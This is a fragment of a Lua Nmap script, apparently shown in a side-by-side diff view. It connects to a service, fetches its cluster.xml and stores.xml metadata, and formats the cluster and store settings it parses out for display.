{ key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
|
||||
{ key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
|
||||
},
|
||||
}
|
||||
|
||||
-- connect to the server
|
||||
local status, socket = connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail(socket)
|
||||
end
|
||||
-- connect to the server
|
||||
local status, socket = connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail(socket)
|
||||
end
|
||||
|
||||
-- get the cluster meta data
|
||||
local status, response = getMetadata(socket, "cluster.xml")
|
||||
if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
|
||||
return
|
||||
end
|
||||
-- get the cluster meta data
|
||||
local status, response = getMetadata(socket, "cluster.xml")
|
||||
if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
|
||||
return
|
||||
end
|
||||
|
||||
-- Get the cluster details
|
||||
local cluster_tbl = { name = "Cluster" }
|
||||
for _, item in ipairs(vars["cluster"]) do
|
||||
local val = response:match(item.match)
|
||||
if ( val ) then
|
||||
table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
|
||||
end
|
||||
end
|
||||
-- Get the cluster details
|
||||
local cluster_tbl = { name = "Cluster" }
|
||||
for _, item in ipairs(vars["cluster"]) do
|
||||
local val = response:match(item.match)
|
||||
if ( val ) then
|
||||
table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
|
||||
end
|
||||
end
|
||||
|
||||
-- get the stores meta data
|
||||
local status, response = getMetadata(socket, "stores.xml")
|
||||
if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
|
||||
return
|
||||
end
|
||||
-- get the stores meta data
|
||||
local status, response = getMetadata(socket, "stores.xml")
|
||||
if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
|
||||
return
|
||||
end
|
||||
|
||||
local result, stores = {}, { name = "Stores" }
|
||||
table.insert(result, cluster_tbl)
|
||||
local result, stores = {}, { name = "Stores" }
|
||||
table.insert(result, cluster_tbl)
|
||||
|
||||
-- iterate over store items
|
||||
for store in response:gmatch("<store>.-</store>") do
|
||||
local name = store:match("<store>.-<name>(.-)</name>")
|
||||
local store_tbl = { name = name or "unknown" }
|
||||
-- iterate over store items
|
||||
for store in response:gmatch("<store>.-</store>") do
|
||||
local name = store:match("<store>.-<name>(.-)</name>")
|
||||
local store_tbl = { name = name or "unknown" }
|
||||
|
||||
for _, item in ipairs(vars["store"]) do
|
||||
local val = store:match(item.match)
|
||||
if ( val ) then
|
||||
table.insert(store_tbl, ("%s: %s"):format(item.key, val))
|
||||
end
|
||||
end
|
||||
table.insert(stores, store_tbl)
|
||||
end
|
||||
table.insert(result, stores)
|
||||
return stdnse.format_output(true, result)
|
||||
for _, item in ipairs(vars["store"]) do
|
||||
local val = store:match(item.match)
|
||||
if ( val ) then
|
||||
table.insert(store_tbl, ("%s: %s"):format(item.key, val))
|
||||
end
|
||||
end
|
||||
table.insert(stores, store_tbl)
|
||||
end
|
||||
table.insert(result, stores)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user